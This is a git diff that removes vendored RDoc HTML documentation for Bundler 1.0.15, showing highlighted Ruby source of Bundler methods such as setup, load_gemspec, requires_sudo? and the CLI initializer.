-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="default-gemfile-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 194</span>
-194:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">default_gemfile</span>
-195:       <span class="ruby-constant">SharedHelpers</span>.<span class="ruby-identifier">default_gemfile</span>
-196:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="default-lockfile-method" class="method-detail ">
-				<a name="method-c-default_lockfile"></a>
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-				<div class="method-heading">
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-					<span class="method-name">default_lockfile</span><span
-						class="method-args">()</span>
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-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 198</span>
-198:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">default_lockfile</span>
-199:       <span class="ruby-constant">SharedHelpers</span>.<span class="ruby-identifier">default_lockfile</span>
-200:     <span class="ruby-keyword kw">end</span></pre>
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-						class="method-args">(unlock = nil)</span>
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-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 131</span>
-131:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">definition</span>(<span class="ruby-identifier">unlock</span> = <span class="ruby-keyword kw">nil</span>)
-132:       <span class="ruby-ivar">@definition</span> = <span class="ruby-keyword kw">nil</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">unlock</span>
-133:       <span class="ruby-ivar">@definition</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-134:         <span class="ruby-identifier">configure</span>
-135:         <span class="ruby-identifier">upgrade_lockfile</span>
-136:         <span class="ruby-constant">Definition</span>.<span class="ruby-identifier">build</span>(<span class="ruby-identifier">default_gemfile</span>, <span class="ruby-identifier">default_lockfile</span>, <span class="ruby-identifier">unlock</span>)
-137:       <span class="ruby-keyword kw">end</span>
-138:     <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">environment</span><span
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-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 127</span>
-127:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">environment</span>
-128:       <span class="ruby-constant">Bundler</span><span class="ruby-operator">::</span><span class="ruby-constant">Environment</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">root</span>, <span class="ruby-identifier">definition</span>)
-129:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="home-method" class="method-detail ">
-				<a name="method-c-home"></a>
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-					<span class="method-name">home</span><span
-						class="method-args">()</span>
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-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 148</span>
-148:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">home</span>
-149:       <span class="ruby-identifier">bundle_path</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;bundler&quot;</span>)
-150:     <span class="ruby-keyword kw">end</span></pre>
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-				<a name="method-c-install_path"></a>
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-					<span class="method-name">install_path</span><span
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-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 152</span>
-152:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">install_path</span>
-153:       <span class="ruby-identifier">home</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;gems&quot;</span>)
-154:     <span class="ruby-keyword kw">end</span></pre>
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-				<a name="method-c-load"></a>
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-					<span class="method-name">load</span><span
-						class="method-args">()</span>
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-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 123</span>
-123:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">load</span>
-124:       <span class="ruby-ivar">@load</span> <span class="ruby-operator">||=</span> <span class="ruby-constant">Runtime</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">root</span>, <span class="ruby-identifier">definition</span>)
-125:     <span class="ruby-keyword kw">end</span></pre>
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-				<a name="method-c-load_gemspec"></a>
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-					<span class="method-name">load_gemspec</span><span
-						class="method-args">(file)</span>
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-						id="load-gemspec-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 229</span>
-229:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">load_gemspec</span>(<span class="ruby-identifier">file</span>)
-230:       <span class="ruby-identifier">path</span> = <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">file</span>)
-231:       <span class="ruby-comment cmt"># Eval the gemspec from its parent directory</span>
-232:       <span class="ruby-constant">Dir</span>.<span class="ruby-identifier">chdir</span>(<span class="ruby-identifier">path</span>.<span class="ruby-identifier">dirname</span>.<span class="ruby-identifier">to_s</span>) <span class="ruby-keyword kw">do</span>
-233:         <span class="ruby-identifier">contents</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">read</span>(<span class="ruby-identifier">path</span>.<span class="ruby-identifier">basename</span>.<span class="ruby-identifier">to_s</span>)
-234:         <span class="ruby-keyword kw">begin</span>
-235:           <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Specification</span>.<span class="ruby-identifier">from_yaml</span>(<span class="ruby-identifier">contents</span>)
-236:           <span class="ruby-comment cmt"># Raises ArgumentError if the file is not valid YAML</span>
-237:         <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">ArgumentError</span>, <span class="ruby-constant">SyntaxError</span>, <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">EndOfYAMLException</span>, <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Exception</span>
-238:           <span class="ruby-keyword kw">begin</span>
-239:             <span class="ruby-identifier">eval</span>(<span class="ruby-identifier">contents</span>, <span class="ruby-constant">TOPLEVEL_BINDING</span>, <span class="ruby-identifier">path</span>.<span class="ruby-identifier">expand_path</span>.<span class="ruby-identifier">to_s</span>)
-240:           <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">LoadError</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">e</span>
-241:             <span class="ruby-identifier">original_line</span> = <span class="ruby-identifier">e</span>.<span class="ruby-identifier">backtrace</span>.<span class="ruby-identifier">find</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">line</span><span class="ruby-operator">|</span> <span class="ruby-identifier">line</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">path</span>.<span class="ruby-identifier">to_s</span>) }
-242:             <span class="ruby-identifier">msg</span>  = <span class="ruby-node">&quot;There was a LoadError while evaluating #{path.basename}:\n  #{e.message}&quot;</span>
-243:             <span class="ruby-identifier">msg</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot; from\n  #{original_line}&quot;</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">original_line</span>
-244:             <span class="ruby-identifier">msg</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;\n&quot;</span>
-245: 
-246:             <span class="ruby-keyword kw">if</span> <span class="ruby-constant">RUBY_VERSION</span> <span class="ruby-operator">&gt;=</span> <span class="ruby-value str">&quot;1.9.0&quot;</span>
-247:               <span class="ruby-identifier">msg</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;\nDoes it try to require a relative path? That doesn't work in Ruby 1.9.&quot;</span>
-248:             <span class="ruby-keyword kw">end</span>
-249: 
-250:             <span class="ruby-identifier">raise</span> <span class="ruby-constant">GemspecError</span>, <span class="ruby-identifier">msg</span>
-251:           <span class="ruby-keyword kw">end</span>
-252:         <span class="ruby-keyword kw">end</span>
-253:       <span class="ruby-keyword kw">end</span>
-254:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="mkdir-p-method" class="method-detail ">
-				<a name="method-c-mkdir_p"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">mkdir_p</span><span
-						class="method-args">(path)</span>
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-						id="mkdir-p-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 213</span>
-213:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mkdir_p</span>(<span class="ruby-identifier">path</span>)
-214:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">requires_sudo?</span>
-215:         <span class="ruby-identifier">sudo</span> <span class="ruby-node">&quot;mkdir -p '#{path}'&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exist?</span>(<span class="ruby-identifier">path</span>)
-216:       <span class="ruby-keyword kw">else</span>
-217:         <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">mkdir_p</span>(<span class="ruby-identifier">path</span>)
-218:       <span class="ruby-keyword kw">end</span>
-219:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="read-file-method" class="method-detail ">
-				<a name="method-c-read_file"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">read_file</span><span
-						class="method-args">(file)</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 225</span>
-225:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">read_file</span>(<span class="ruby-identifier">file</span>)
-226:       <span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-identifier">file</span>, <span class="ruby-value str">&quot;rb&quot;</span>) { <span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">read</span> }
-227:     <span class="ruby-keyword kw">end</span></pre>
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-				<a name="method-c-require"></a>
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-				<div class="method-heading">
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-					<span class="method-name">require</span><span
-						class="method-args">(*groups)</span>
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-						id="require-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 119</span>
-119:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">require</span>(*<span class="ruby-identifier">groups</span>)
-120:       <span class="ruby-identifier">setup</span>(*<span class="ruby-identifier">groups</span>).<span class="ruby-identifier">require</span>(*<span class="ruby-identifier">groups</span>)
-121:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
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-
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-
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-			<div id="requires-sudo--method" class="method-detail ">
-				<a name="method-c-requires_sudo%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">requires_sudo?</span><span
-						class="method-args">()</span>
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-						id="requires-sudo--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 202</span>
-202:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">requires_sudo?</span>
-203:       <span class="ruby-keyword kw">return</span> <span class="ruby-ivar">@requires_sudo</span> <span class="ruby-keyword kw">if</span> <span class="ruby-keyword kw">defined?</span>(<span class="ruby-ivar">@checked_for_sudo</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-ivar">@checked_for_sudo</span>
-204: 
-205:       <span class="ruby-identifier">path</span> = <span class="ruby-identifier">bundle_path</span>
-206:       <span class="ruby-identifier">path</span> = <span class="ruby-identifier">path</span>.<span class="ruby-identifier">parent</span> <span class="ruby-keyword kw">until</span> <span class="ruby-identifier">path</span>.<span class="ruby-identifier">exist?</span>
-207:       <span class="ruby-identifier">sudo_present</span> = <span class="ruby-operator">!</span>(<span class="ruby-value">`which sudo`</span> <span class="ruby-keyword kw">rescue</span> <span class="ruby-value str">''</span>).<span class="ruby-identifier">empty?</span>
-208: 
-209:       <span class="ruby-ivar">@checked_for_sudo</span> = <span class="ruby-keyword kw">true</span>
-210:       <span class="ruby-ivar">@requires_sudo</span> = <span class="ruby-identifier">settings</span>.<span class="ruby-identifier">allow_sudo?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-operator">!</span><span class="ruby-constant">File</span>.<span class="ruby-identifier">writable?</span>(<span class="ruby-identifier">path</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">sudo_present</span>
-211:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="root-method" class="method-detail ">
-				<a name="method-c-root"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">root</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
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-				<div class="method-description">
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-						id="root-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 164</span>
-164:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">root</span>
-165:       <span class="ruby-identifier">default_gemfile</span>.<span class="ruby-identifier">dirname</span>.<span class="ruby-identifier">expand_path</span>
-166:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
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-			<div id="ruby-scope-method" class="method-detail ">
-				<a name="method-c-ruby_scope"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">ruby_scope</span><span
-						class="method-args">()</span>
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-						id="ruby-scope-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 140</span>
-140:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">ruby_scope</span>
-141:       <span class="ruby-node">&quot;#{Bundler.rubygems.ruby_engine}/#{Gem::ConfigMap[:ruby_version]}&quot;</span>
-142:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
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-
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-
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-			<div id="settings-method" class="method-detail ">
-				<a name="method-c-settings"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">settings</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-						id="settings-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 182</span>
-182:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">settings</span>
-183:       <span class="ruby-ivar">@settings</span> <span class="ruby-operator">||=</span> <span class="ruby-constant">Settings</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">app_config_path</span>)
-184:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
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-			</div>
-
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-			<div id="setup-method" class="method-detail ">
-				<a name="method-c-setup"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">setup</span><span
-						class="method-args">(*groups)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
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-						id="setup-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 101</span>
-101:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">setup</span>(*<span class="ruby-identifier">groups</span>)
-102:       <span class="ruby-comment cmt"># Just return if all groups are already loaded</span>
-103:       <span class="ruby-keyword kw">return</span> <span class="ruby-ivar">@setup</span> <span class="ruby-keyword kw">if</span> <span class="ruby-keyword kw">defined?</span>(<span class="ruby-ivar">@setup</span>)
-104: 
-105:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">groups</span>.<span class="ruby-identifier">empty?</span>
-106:         <span class="ruby-comment cmt"># Load all groups, but only once</span>
-107:         <span class="ruby-ivar">@setup</span> = <span class="ruby-identifier">load</span>.<span class="ruby-identifier">setup</span>
-108:       <span class="ruby-keyword kw">else</span>
-109:         <span class="ruby-ivar">@completed_groups</span> <span class="ruby-operator">||=</span> []
-110:         <span class="ruby-comment cmt"># Figure out which groups haven't been loaded yet</span>
-111:         <span class="ruby-identifier">unloaded</span> = <span class="ruby-identifier">groups</span> <span class="ruby-operator">-</span> <span class="ruby-ivar">@completed_groups</span>
-112:         <span class="ruby-comment cmt"># Record groups that are now loaded</span>
-113:         <span class="ruby-ivar">@completed_groups</span> = <span class="ruby-identifier">groups</span>
-114:         <span class="ruby-comment cmt"># Load any groups that are not yet loaded</span>
-115:         <span class="ruby-identifier">unloaded</span>.<span class="ruby-identifier">any?</span> <span class="ruby-operator">?</span> <span class="ruby-identifier">load</span>.<span class="ruby-identifier">setup</span>(*<span class="ruby-identifier">unloaded</span>) <span class="ruby-operator">:</span> <span class="ruby-identifier">load</span>
-116:       <span class="ruby-keyword kw">end</span>
-117:     <span class="ruby-keyword kw">end</span></pre>
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-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 156</span>
-156:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">specs_path</span>
-157:       <span class="ruby-identifier">bundle_path</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;specifications&quot;</span>)
-158:     <span class="ruby-keyword kw">end</span></pre>
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-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 221</span>
-221:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">sudo</span>(<span class="ruby-identifier">str</span>)
-222:       <span class="ruby-node">`sudo -p 'Enter your password to install the bundled RubyGems to your system: ' #{str}`</span>
-223:     <span class="ruby-keyword kw">end</span></pre>
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-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 178</span>
-178:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">tmp</span>
-179:       <span class="ruby-identifier">user_bundle_path</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;tmp&quot;</span>, <span class="ruby-constant">Process</span>.<span class="ruby-identifier">pid</span>.<span class="ruby-identifier">to_s</span>)
-180:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler.rb, line 84</span>
-84:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">ui</span>
-85:       <span class="ruby-ivar">@ui</span> <span class="ruby-operator">||=</span> <span class="ruby-constant">UI</span>.<span class="ruby-identifier">new</span>
-86:     <span class="ruby-keyword kw">end</span></pre>
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-144:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">user_bundle_path</span>
-145:       <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">user_home</span>).<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;.bundler&quot;</span>)
-146:     <span class="ruby-keyword kw">end</span></pre>
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-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 186</span>
-186:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">with_clean_env</span>
-187:       <span class="ruby-identifier">bundled_env</span> = <span class="ruby-constant">ENV</span>.<span class="ruby-identifier">to_hash</span>
-188:       <span class="ruby-constant">ENV</span>.<span class="ruby-identifier">replace</span>(<span class="ruby-constant">ORIGINAL_ENV</span>)
-189:       <span class="ruby-keyword kw">yield</span>
-190:     <span class="ruby-keyword kw">ensure</span>
-191:       <span class="ruby-constant">ENV</span>.<span class="ruby-identifier">replace</span>(<span class="ruby-identifier">bundled_env</span>.<span class="ruby-identifier">to_hash</span>)
-192:     <span class="ruby-keyword kw">end</span></pre>
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-
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-			<div id="configure-gem-home-and-path-method" class="method-detail ">
-				<a name="method-c-configure_gem_home_and_path"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">configure_gem_home_and_path</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
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-						id="configure-gem-home-and-path-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 258</span>
-258:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">configure_gem_home_and_path</span>
-259:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">settings</span>[<span class="ruby-value">:disable_shared_gems</span>]
-260:         <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'GEM_PATH'</span>] = <span class="ruby-value str">''</span>
-261:         <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'GEM_HOME'</span>] = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">bundle_path</span>, <span class="ruby-identifier">root</span>)
-262:       <span class="ruby-keyword kw">elsif</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">gem_dir</span> <span class="ruby-operator">!=</span> <span class="ruby-identifier">bundle_path</span>.<span class="ruby-identifier">to_s</span>
-263:         <span class="ruby-identifier">possibles</span> = [<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">gem_dir</span>, <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">gem_path</span>]
-264:         <span class="ruby-identifier">paths</span> = <span class="ruby-identifier">possibles</span>.<span class="ruby-identifier">flatten</span>.<span class="ruby-identifier">compact</span>.<span class="ruby-identifier">uniq</span>.<span class="ruby-identifier">reject</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span> <span class="ruby-identifier">p</span>.<span class="ruby-identifier">empty?</span> }
-265:         <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;GEM_PATH&quot;</span>] = <span class="ruby-identifier">paths</span>.<span class="ruby-identifier">join</span>(<span class="ruby-constant">File</span><span class="ruby-operator">::</span><span class="ruby-constant">PATH_SEPARATOR</span>)
-266:         <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;GEM_HOME&quot;</span>] = <span class="ruby-identifier">bundle_path</span>.<span class="ruby-identifier">to_s</span>
-267:       <span class="ruby-keyword kw">end</span>
-268: 
-269:       <span class="ruby-comment cmt"># TODO: This mkdir_p is only needed for JRuby &lt;= 1.5 and should go away (GH #602)</span>
-270:       <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">mkdir_p</span> <span class="ruby-identifier">bundle_path</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-keyword kw">rescue</span> <span class="ruby-keyword kw">nil</span>
-271: 
-272:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">clear_paths</span>
-273:     <span class="ruby-keyword kw">end</span></pre>
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-		
-			<div id="upgrade-lockfile-method" class="method-detail ">
-				<a name="method-c-upgrade_lockfile"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">upgrade_lockfile</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
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-						id="upgrade-lockfile-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 275</span>
-275:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">upgrade_lockfile</span>
-276:       <span class="ruby-identifier">lockfile</span> = <span class="ruby-identifier">default_lockfile</span>
-277:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">lockfile</span>.<span class="ruby-identifier">exist?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">lockfile</span>.<span class="ruby-identifier">read</span>(<span class="ruby-value">3</span>) <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;---&quot;</span>
-278:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-value str">&quot;Detected Gemfile.lock generated by 0.9, deleting...&quot;</span>
-279:         <span class="ruby-identifier">lockfile</span>.<span class="ruby-identifier">rmtree</span>
-280:       <span class="ruby-keyword kw">end</span>
-281:     <span class="ruby-keyword kw">end</span></pre>
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-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/BundlerError.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/BundlerError.html
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>Class: Bundler::BundlerError</title>
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-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
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-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
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-	<script src="../js/quicksearch.js" type="text/javascript"
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-<body class="class">
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-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
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-		<div id="file-metadata">
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-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler.rb">lib/bundler.rb</a></li>
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-		<div id="class-metadata">
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-			<!-- Parent Class -->
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-				<h3 class="section-header">Parent</h3>
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-				<p class="link">StandardError</p>
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-			<!-- Namespace Contents -->
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-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
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-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
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-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
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-				<ul class="link-list">
-				
-					<li><a href="../Bundler.html">Bundler</a></li>
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-					<li><a href="../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
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-					<li><a href="../Bundler/CLI.html">Bundler::CLI</a></li>
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-					<li><a href="../Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
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-40:       <span class="ruby-identifier">define_method</span>(<span class="ruby-value">:status_code</span>) { <span class="ruby-identifier">code</span> }
-41:     <span class="ruby-keyword kw">end</span></pre>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/CLI.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/CLI.html
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-<head>
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-	<script src="../js/quicksearch.js" type="text/javascript"
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-				<div class="section-body">
-					<ul>
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-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
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-					<li><a href="#method-c-new">::new</a></li>
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-					<li><a href="#method-i-unlock">#unlock</a></li>
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-					<li><a href="../Gem/Platform.html">Gem::Platform</a></li>
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-		<h1 class="class">Bundler::CLI</h1>
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-		<div id="description">
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-		<!-- Constants -->
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-    <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 11</span>
-11:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(*)
-12:       <span class="ruby-keyword kw">super</span>
-13:       <span class="ruby-identifier">the_shell</span> = (<span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;no-color&quot;</span>] <span class="ruby-operator">?</span> <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Shell</span><span class="ruby-operator">::</span><span class="ruby-constant">Basic</span>.<span class="ruby-identifier">new</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">shell</span>)
-14:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span> = <span class="ruby-constant">UI</span><span class="ruby-operator">::</span><span class="ruby-constant">Shell</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">the_shell</span>)
-15:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">debug!</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;verbose&quot;</span>]
-16:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">ui</span> = <span class="ruby-constant">UI</span><span class="ruby-operator">::</span><span class="ruby-constant">RGProxy</span>.<span class="ruby-identifier">new</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>)
-17:     <span class="ruby-keyword kw">end</span></pre>
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-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 501</span>
-501:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">source_root</span>
-502:       <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">dirname</span>(<span class="ruby-keyword kw">__FILE__</span>), <span class="ruby-value str">'templates'</span>))
-503:     <span class="ruby-keyword kw">end</span></pre>
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-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 307</span>
-307:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">cache</span>
-308:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">definition</span>.<span class="ruby-identifier">resolve_with_cache!</span>
-309:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">load</span>.<span class="ruby-identifier">cache</span>
-310:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:no_prune</span>] = <span class="ruby-keyword kw">true</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;no-prune&quot;</span>]
-311:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">load</span>.<span class="ruby-identifier">lock</span>
-312:     <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">GemNotFound</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">e</span>
-313:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">error</span>(<span class="ruby-identifier">e</span>.<span class="ruby-identifier">message</span>)
-314:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-value str">&quot;Run `bundle install` to install missing gems.&quot;</span>
-315:       <span class="ruby-identifier">exit</span> <span class="ruby-value">128</span>
-316:     <span class="ruby-keyword kw">end</span></pre>
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-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 97</span>
- 97:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">check</span>
- 98:       <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'BUNDLE_GEMFILE'</span>] = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value">:gemfile</span>]) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:gemfile</span>]
- 99:       <span class="ruby-keyword kw">begin</span>
